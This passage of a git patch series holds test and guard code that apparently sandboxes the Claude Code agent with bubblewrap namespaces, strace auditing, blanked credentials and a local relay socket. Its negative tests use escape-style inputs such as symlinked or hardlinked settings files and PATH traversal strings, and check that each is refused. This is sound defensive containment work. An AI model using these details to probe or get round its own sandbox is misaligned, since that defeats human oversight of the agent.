child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--die-with-parent","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/etc","--dir","/etc/claude-code","--proc","/proc","--dev","/dev",...mounts,"--remount-ro","/etc","--","/usr/bin/python3","-I","-S","-c",code],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); + expect(child.exitCode,"MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE "+child.stderr.toString()).toBe(0);expect(child.stdout.toString()).toContain("MANAGED_CUSTOM_REFUSAL_INPUT_VISIBLE"); + expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe("/etc/claude-code/managed-settings.json");expect(readFileSync(mounts[1]!,"utf8")).toBe(json); + }finally{leave();rmSync(root,{recursive:true,force:true});} +}); + +test("undeclared managed settings do not add a worker mount",()=>{ + const root=nativeFixtureDirectory("odysseus-managed-absent-");writeFileSync(join(root,"managed.json"),json); + const leave=nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root]}); + try{expect(nativeFixtureManagedSettingsMounts(root)).toEqual([]);}finally{leave();rmSync(root,{recursive:true,force:true});} +}); + +for(const mode of ["outside","symlink","hardlink"] as const)test(`managed settings refuse ${mode} registration`,async()=>{ + const child=spawnGuardFixture([process.execPath,"-e",` + import {nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(guard)}; + import {mkdtempSync,writeFileSync,symlinkSync,linkSync,rmSync} from "node:fs"; + const root=nativeFixtureDirectory("odysseus-managed-negative-"),outside=mkdtempSync("/tmp/odysseus-unregistered-"); + writeFileSync(root+"/managed.json","{}");writeFileSync(outside+"/managed.json","{}");symlinkSync(root+"/managed.json",root+"/alias");linkSync(outside+"/managed.json",root+"/hardlink"); + try{nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],managedSettingsFile:${mode==="outside"?'outside+"/managed.json"':mode==="hardlink"?'root+"/hardlink"':'root+"/alias"'}});}catch{}finally{rmSync(root,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} + `],{env:{PATH:"/usr/bin:/bin"}}); + const [code,out]=await Promise.all([child.exited,child.guardOutput()]);expect(code).not.toBe(0);expect(out).toContain("managed settings require an unlinked fixture-created regular file");expect(out).toContain('"nativeLaunched":false'); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b7a6947785..45cc1815d8 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -325,20 +325,23 @@ test("guard worker binds follow every covering mount", async()=>{ const scratch=mkdtempSync(join(tmpdir(),"odysseus-mount-order-")); try { const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + import {nativeWorkerBoundary,nativeFixtureDirectory,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; ${guardMountOrderCheck} const spawnSync=Bun.spawnSync,which=Bun.which; Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const managedRoot=nativeFixtureDirectory("odysseus-plan-managed-");writeFileSync(managedRoot+"/managed.json",'{"env":{"ANTHROPIC_BASE_URL":"https://ithaca.invalid"}}'); + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}],managedSettingsFile:managedRoot+"/managed.json"}); const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},PATH:"/usr/local/bin:/usr/bin:/bin"},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--remount-ro","/","--remount-ro","/etc","--",process.execPath,${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))},"--direct-loopback",${JSON.stringify(runtime)}]})}); if(plan.native!==true)throw Error("ADMITTED_NATIVE_PLAN_CLASSIFIED"); const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts,["/","/etc"]); + if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+2]==="/etc/claude-code/managed-settings.json"))throw Error("DECLARED_MANAGED_SETTINGS_IN_WORKER_PLAN"); if(!mounts.some((arg,i)=>arg==="--setenv"&&mounts[i+1]==="PATH"&&mounts[i+2]==="/usr/local/bin:/usr/bin:/bin"))throw Error("GUARD_PLAN_PRESERVES_READONLY_SYSTEM_PATH"); const payload=argv.slice(split+1);if(payload[1]!==${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}||payload[2]!=="--direct-loopback"||!payload[3]?.endsWith("/native-connect"))throw Error("PRODUCTION_TRANSPORT_OUTSIDE_PAYLOAD_FILTER"); if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); - plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();require("node:fs").rmSync(managedRoot,{recursive:true,force:true});`,scratch); expect(result.code,result.output).toBe(0); const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-worker-plan"'))!); expect(Object.keys(receipt).sort()).toEqual(["kind","head","bootstrapArgc","bootstrapArgvBytes","sandboxArgc","sandboxArgvBytes","metadataBytes"].sort()); @@ -1148,3 +1151,30 @@ test("runtime provenance rechecks walk entries without re-attesting fixtures for expect(cost.backendTraversals,"BEFORE_LAUNCH_RECHECK_IS_FRESH").toBeGreaterThan(cost.initial); }finally{rmSync(scratch,{recursive:true,force:true});} }); + +test("direct and trusted worker plans admit only a registered turn-proxy endpoint",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-proxy-plan-")); + try{ + const result=await probe(`${imports} + import * as guard from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const root=${JSON.stringify(scratch)},runtime=${JSON.stringify(runtime)},entry=${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}; + guard.nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],turnProxy:true}); + const tunnel=guard.startNativeTurnProxyTunnel("http://127.0.0.1:9",root);await new Promise(resolve=>setImmediate(resolve)); + function finish(plan,argv){writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();} + try{ + const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin"}}); + if(!direct.argv.includes("--turn-proxy")||!direct.argv.includes(entry))throw Error("DIRECT_PROXY_REGISTRATION_MISSING");finish(direct,direct.argv); + for(const [trusted,registered] of [[true,true],[true,false],[false,true]]){ + const command=[runtime],wrapper=trusted?[process.execPath,entry]:["/usr/bin/true"]; + const argv=["bwrap",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; + const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + if(actual.includes("--turn-proxy")!==(trusted&®istered))throw Error("WORKER_PROXY_REQUIRES_TRUSTED_WRAPPER_AND_REGISTRATION");finish(plan,actual); + } + }finally{tunnel.dispose();}`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); diff --git a/tests/native-path-preservation.test.ts b/tests/native-path-preservation.test.ts index d9d5b387e7..b7c79b6393 100644 --- a/tests/native-path-preservation.test.ts +++ b/tests/native-path-preservation.test.ts @@ -8,14 +8,14 @@ import { fixtureToolView } from "../scripts/test-native-guard"; test("only read-only system or staged fixture PATH entries preserve exact spelling",()=>{ const root=mkdtempSync(join(tmpdir(),"odysseus-path-")),outside=mkdtempSync(join(tmpdir(),"odysseus-path-outside-")); try { - const home=join(root,"home"),cwd=join(root,"cwd"),bin=join(root,"bin"),alias=join(root,"alias"); - for(const dir of [home,cwd,bin])mkdirSync(dir);symlinkSync(outside,alias); + const home=join(root,"home"),cwd=join(root,"cwd"),bin=join(root,"bin"),alias=join(root,"alias"),systemAlias=join(root,"system-alias"),toolAlias=join(root,"tool-alias"); + for(const dir of [home,cwd,bin])mkdirSync(dir);symlinkSync(outside,alias);symlinkSync("/usr/bin",systemAlias);symlinkSync(bin,toolAlias); for(const path of ["/usr/local/bin:/usr/bin:/bin",bin+":/usr/bin:/bin"]){ const view=fixtureToolView({PATH:path,HOME:home},cwd,home); expect(view.path,"EXACT_READONLY_PATH_PRESERVED").toBe(path); expect(view.mounts).toEqual(path.startsWith(bin)?["--ro-bind",realpathSync(bin),realpathSync(bin)]:[]); } - for(const path of [outside+":/usr/bin:/bin",alias+":/usr/bin:/bin","/usr/local/bin/../../../tmp/x:/usr/bin:/bin","/usr/bin:/usr/bin","/usr/bin::/bin","bin:/usr/bin",home+":/usr/bin:/bin"]){ + for(const path of [systemAlias+":/usr/bin:/bin",toolAlias+":/usr/bin:/bin",outside+":/usr/bin:/bin",alias+":/usr/bin:/bin","/usr/local/bin/../../../tmp/x:/usr/bin:/bin","/usr/bin:/usr/bin","/usr/bin::/bin","bin:/usr/bin",home+":/usr/bin:/bin"]){ const view=fixtureToolView({PATH:path,HOME:home},cwd,home); expect(view.path,"UNREGISTERED_PATH_CANNOT_GRANT_REWRITE_AUTHORITY").not.toBe(path); expect(view.mounts).not.toContain(outside);expect(view.path).not.toContain(outside); diff --git a/tests/native-rtk-adapter.test.ts b/tests/native-rtk-adapter.test.ts new file mode 100644 index 0000000000..80ea5de599 --- /dev/null +++ b/tests/native-rtk-adapter.test.ts @@ -0,0 +1,59 @@ +/** Synthetic processes only: a non-dumpable supervisor must not become RTK authority. */ +import { expect, test } from "bun:test"; +import { mkdtempSync, writeFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { watchdogMs } from "../scripts/test-deadlines"; + +test("owned RTK adapter requires one exact live audited descendant and the original launch",async()=>{ + const directory=mkdtempSync(join(tmpdir(),"odysseus-rtk-adapter-")),repo=join(import.meta.dir,".."); + try{ + const script=join(directory,"probe.ts"); + writeFileSync(script,` +import {spyOn} from "bun:test"; +import * as fs from "node:fs"; +import {enterMeasurementRtkView} from ${JSON.stringify(join(repo,"scripts/measurement-rtk-fixture.ts"))}; +import {recordNativeGuardChild,observeNativeFixtureRtkSpawn,registerNativeFixtureRtk} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; +import {rewriteWorkerRtk} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-rtk.ts"))}; +await enterMeasurementRtkView(); +const python=fs.realpathSync("/usr/bin/python3"); +const source='import ctypes,subprocess,sys,json\\nctypes.CDLL(None).prctl(4,0,0,0,0)\\nchildren=[subprocess.Popen([sys.executable,"-I","-S","-c","import time;time.sleep(30)"]) for _ in range(2)]\\nprint(json.dumps([p.pid for p in children]),flush=True)\\nsys.stdin.readline()\\nfor p in children: p.terminate();p.wait()'; +const env={PATH:"/usr/local/bin:/usr/bin:/bin",HOME:"/nonexistent"}; +const child=Bun.spawn([python,"-I","-S","-c",source],{env,stdin:"pipe",stdout:"pipe",stderr:"pipe"}); +recordNativeGuardChild(child); +try{ + const reader=child.stdout.getReader(),ready=await reader.read();reader.releaseLock(); + const pids=JSON.parse(new TextDecoder().decode(ready.value)); + const start=(pid)=>fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19]; + const launch={env:{...env},brainPath:"/tmp"}; + const worker={pid:child.pid,exited:child.exited}; + const outcomes=[]; + function refuses(label,fn){let refused=false;try{fn();}catch{refused=true;}if(!refused)throw Error(label);outcomes.push(label);} + refuses("UNREGISTERED_ROOT",()=>observeNativeFixtureRtkSpawn(process.pid,launch,[python],()=>new Map())); + observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map()); + refuses("MISSING_PAYLOAD",()=>registerNativeFixtureRtk(worker)); + observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map(pids.map(pid=>[pid,start(pid)]))); + refuses("AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT",()=>registerNativeFixtureRtk(worker)); + observeNativeFixtureRtkSpawn(child.pid,launch,["/usr/bin/true"],()=>new Map([[pids[0],start(pids[0])]])); + refuses("WRONG_EXECUTABLE",()=>registerNativeFixtureRtk(worker)); + observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map([[pids[0],"reused-start"]])); + refuses("REUSED_PAYLOAD",()=>registerNativeFixtureRtk(worker)); + observeNativeFixtureRtkSpawn(child.pid,launch,[python],()=>new Map([[pids[0],start(pids[0])]])); + const read=fs.readFileSync; + const spy=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{const value=read(path,...args);return path==='/proc/'+child.pid+'/stat'?value.replace(/^(.*\\) )(.*)$/s,(_,prefix,rest)=>{const fields=rest.split(' ');fields[19]='reused-root';return prefix+fields.join(' ');}):value;}); + try{refuses("REUSED_ROOT",()=>registerNativeFixtureRtk(worker));}finally{spy.mockRestore();} + // The non-dumpable supervisor remains unreadable; only its proven child is admitted. + refuses("BROKER_STAYS_NONDUMPABLE",()=>fs.readFileSync('/proc/'+child.pid+'/environ')); + registerNativeFixtureRtk(worker); + launch.env.PATH="/unregistered"; + const rewritten=await rewriteWorkerRtk(worker,"touch /tmp/brain-worker-scratch/original"); + if(rewritten!=="touch /tmp/brain-worker-scratch/rewritten")throw Error("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH: "+rewritten); + outcomes.push("OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH");console.log(JSON.stringify(outcomes)); +}finally{child.stdin.end("done\\n");await child.exited;} +`); + const child=Bun.spawn([process.execPath,script],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:watchdogMs(20000)}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,"OWNED_RTK_ADAPTER "+err).toBe(0); + expect(JSON.parse(out.trim())).toEqual(["UNREGISTERED_ROOT","MISSING_PAYLOAD","AMBIGUOUS_PAYLOAD_NOT_FIRST_DESCENDANT","WRONG_EXECUTABLE","REUSED_PAYLOAD","REUSED_ROOT","BROKER_STAYS_NONDUMPABLE","OWNED_PAYLOAD_REWRITES_WITH_ORIGINAL_LAUNCH"]); + }finally{rmSync(directory,{recursive:true,force:true});} +},watchdogMs(30000)); diff --git a/tests/native-startup-audit.test.ts b/tests/native-startup-audit.test.ts index 04625b6b2d..a074933778 100644 --- a/tests/native-startup-audit.test.ts +++ b/tests/native-startup-audit.test.ts @@ -55,3 +55,10 @@ test("failed-open labels retain fixture-relative names and remove every outside for(const hidden of ["secret-captain","My Secret","secret-owner","secret-runtime","secret-device","/home/","/fixture/","/root/","/outside/"])expect(text,"FAILED_OPEN_HOST_PATH_IS_OMITTED").not.toContain(hidden); expect(text).toContain("EACCES"); }); + +test("failed device opens retain only fixed non-secret device basenames",()=>{ + const trace=['/dev/stdin','/dev/stdout','/dev/stderr','/dev/fd/2','/dev/null','/dev/urandom','/dev/tty','/dev/pts/7','/dev/shm/circe-private'].map(path=>`1 openat(AT_FDCWD, ${JSON.stringify(path)}, O_RDONLY) = -1 EACCES (Permission denied)`).join("\n"); + const text=scrubNativeStartupTrace(trace,[]); + for(const label of ['dev:stdin','dev:stdout','dev:stderr','dev:fd/2','dev:null','dev:urandom','dev:tty','dev:pts/7','dev:shm/[entry]'])expect(text,"FIXED_DEVICE_OPEN_LABEL").toContain(label); + expect(text).not.toContain('circe');expect(text).not.toContain('/dev/'); +}); From a08c10308bb1e5a82186a46c5ccba81f456098bf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 15:32:15 +0000 Subject: [PATCH 073/187] test: retain admitted relay paths and distinguish native exits --- scripts/test-native-guard.ts | 37 ++++++++++++++++------ scripts/test-network-guard.ts | 2 +- tests/native-bootstrap-diagnostics.test.ts | 20 ++++++++++++ tests/native-managed-settings.test.ts | 18 ++++++++--- tests/native-offline-boundary.test.ts | 8 +++-- tests/native-relay-base-path.test.ts | 34 ++++++++++++++++++++ 6 files changed, 100 insertions(+), 19 deletions(-) create mode 100644 tests/native-relay-base-path.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 8f1c4da9ee..11ae637137 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -338,7 +338,7 @@ export function fixtureToolView(env: Record, cwd: st } interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } -interface Boundary { beforeLaunch(): void; argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } +interface Boundary { nativeExecuted():boolean; beforeLaunch(): void; argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } const generatedCredentials = new Map(); /** Create and mark a clearly synthetic value; ambient strings cannot self-mark. */ @@ -493,6 +493,11 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c // both the tracer and its entire traced sandbox, closing inherited pipes. return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish, + nativeExecuted(){ + if(receipt)return receipt.nativeLaunched; + if(!storageIntact())return false; + try{const trace=readFileSync(log);return storageIntact()&&nativeExecObserved(trace.toString("utf8"),expected);}catch{return false;} + }, liveExecs(){ if(!storageIntact())throw Error("native fixture RTK audit integrity unavailable"); const bytes=readFileSync(log);if(bytes.length>8*1024*1024||!storageIntact())throw Error("native fixture RTK audit unavailable"); @@ -558,6 +563,17 @@ function expectedNativeExec(command: string, args: readonly string[], options: S return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; } +/** Retain only the admitted server's exact base path; authority remains local IPC. */ +export function nativeAdmittedRelayBaseUrl(value:string|undefined,admitted:boolean):string { + if(!admitted)return "http://localhost"; + value??="http://localhost"; + const match=/^https?:\/\/([^/?#]+)(\/[^?#]*)?$/.exec(value),path=match?.[2]??""; + if(!match||/[\\\s]/.test(value)||/%(?:2f|2e|5c)/i.test(path)||/(?:^|\/)\.{1,2}(?:\/|$)/.test(path)||path.endsWith("/"))refuse("admitted relay base path is not canonical"); + let url:URL;try{url=new URL(value);}catch{return refuse("admitted relay base path is not canonical");} + if(url.username||url.password||url.pathname!==(path||"/"))refuse("admitted relay base path is not canonical"); + return "http://localhost"+path; +} + /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { qualify(); @@ -596,7 +612,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: tools.path, LANG: "C.UTF-8", - ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", + ANTHROPIC_BASE_URL: nativeAdmittedRelayBaseUrl(env.ANTHROPIC_BASE_URL,Boolean(inheritedOrigin)), ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; // These are public model selectors, never ambient provider credentials. for (const key of ["ANTHROPIC_MODEL", "ANTHROPIC_DEFAULT_SONNET_MODEL", "ANTHROPIC_DEFAULT_OPUS_MODEL", "ANTHROPIC_DEFAULT_HAIKU_MODEL", "ANTHROPIC_SMALL_FAST_MODEL", "CLAUDE_CODE_SUBAGENT_MODEL", "CLAUDE_CODE_DISABLE_AUTO_MEMORY", "ENABLE_TOOL_SEARCH"]) { @@ -962,7 +978,7 @@ export function prepareNativeBootstrapDiagnostics(options:Record):{o }}; } const parentTerminatedBootstraps=new WeakSet(),observedBootstrapKills=new WeakSet(); -export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null;kill?(signal?:NodeJS.Signals|number):void },bootstrap=false,evidence?:BootstrapEvidence): Promise { +export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null;kill?(signal?:NodeJS.Signals|number):void },bootstrap=false,evidence?:BootstrapEvidence,nativeExecuted?:()=>boolean): Promise { let completion=Promise.resolve(); const diagnosticRoots=[...(scriptedRoute.getStore()?.fixtureRoots??[])]; if(bootstrap){ @@ -978,17 +994,18 @@ export function recordNativeGuardChild(child: { pid: number; exited: Promise256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); const report=async(code:number|null)=>{ - nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); + let executed=false;try{if(code!==0||child.signalCode)executed=nativeExecuted?.()===true;}catch{ /* Unproven exec remains a bootstrap failure. */ } + if(!executed||code===0&&!child.signalCode)nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}); if(code===0&&!child.signalCode)return; if(["SIGTERM","SIGKILL","SIGINT",15,9,2].includes(child.signalCode??"")){ - nativeReceipt({kind:"native-offline-bootstrap-termination",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-termination",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, reason:parentTerminatedBootstraps.has(child)?"terminated by parent signal":"terminated by signal"});return; } if(evidence){let timer:ReturnType|undefined;await Promise.race([evidence.drained,new Promise(resolve=>{timer=setTimeout(resolve,2000);timer.unref();})]);clearTimeout(timer);} const text=evidence?.snapshot()??""; const safe=compilerDiagnostic(redactNativeDiagnosticAssignments(labelNativeMountErrors(text,diagnosticRoots).replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n"))); - nativeReceipt({kind:"native-offline-bootstrap-failure",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, - reason:safe||"worker bootstrap exited nonzero; stderr reason unavailable"}); + nativeReceipt({kind:executed?"native-offline-native-exit":"native-offline-bootstrap-failure",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null, + reason:safe||(executed?"native payload exited nonzero without stderr":"worker bootstrap exited nonzero; stderr reason unavailable")}); }; completion=child.exited.then(report,()=>report(null)); } @@ -1185,7 +1202,7 @@ export function nativeWorkerPayloadCommand(payload:string[],command:string[],pro } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void } { +export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void; nativeExecuted?():boolean } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; @@ -1245,7 +1262,7 @@ export function nativeWorkerBoundary(env: Record): { else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); - const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", + const pinned = { ANTHROPIC_BASE_URL: nativeAdmittedRelayBaseUrl(launch.env?.ANTHROPIC_BASE_URL,Boolean(ownedOrigin)), ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", @@ -1302,6 +1319,6 @@ export function nativeWorkerBoundary(env: Record): { nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; + return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch,nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 4729653eed..3f07f574db 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -202,7 +202,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const result = Reflect.apply(native, Bun, args); if (key === "spawn") { const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); - const report=recordNativeGuardChild(result,bootstrap,evidence); + const report=recordNativeGuardChild(result,bootstrap,evidence,boundary?.nativeExecuted??workerBoundary?.nativeExecuted); workerBoundary?.observe?.(result.pid); const completed=exited.then(async(code:number)=>{ await evidence?.drained;await report; diff --git a/tests/native-bootstrap-diagnostics.test.ts b/tests/native-bootstrap-diagnostics.test.ts index 716a643858..e1ccfa14d1 100644 --- a/tests/native-bootstrap-diagnostics.test.ts +++ b/tests/native-bootstrap-diagnostics.test.ts @@ -105,3 +105,23 @@ for(const delay of [0,150])test(`cleanup kill after exit 1 preserves the bootstr expect(record?.reason).toContain("fixture child failed"); expect(out).not.toContain('"kind":"native-offline-bootstrap-termination"'); }); + +for(const executed of [false,true])test(`nonzero synthetic child is labelled as ${executed?"native exit after exec":"bootstrap failure without exec"}`,async()=>{ + const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"),entry=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-entry.ts"),pipes=join(import.meta.dir,"../packages/ui-sdk/src/server/worker-pipes.ts"); + const child=spawnGuardFixture([process.execPath,"-e",` + import {mock} from "bun:test"; + const guard={...await import(${JSON.stringify(guard)})}; + const audit=guard.auditNativeLaunch(["/bin/sh","-c","exit 1"],${JSON.stringify(executed?["/bin/sh"]:["/usr/bin/true"])},()=>{});audit.argv[0]=${JSON.stringify(Bun.which("strace"))}; + mock.module(${JSON.stringify(guard)},()=>({...guard,nativeWorkerBoundary(env){const plan=guard.nativeWorkerBoundary(env);if(!env.BRAIN_WORKER_LAUNCH)return plan;const launch=JSON.parse(env.BRAIN_WORKER_LAUNCH);return 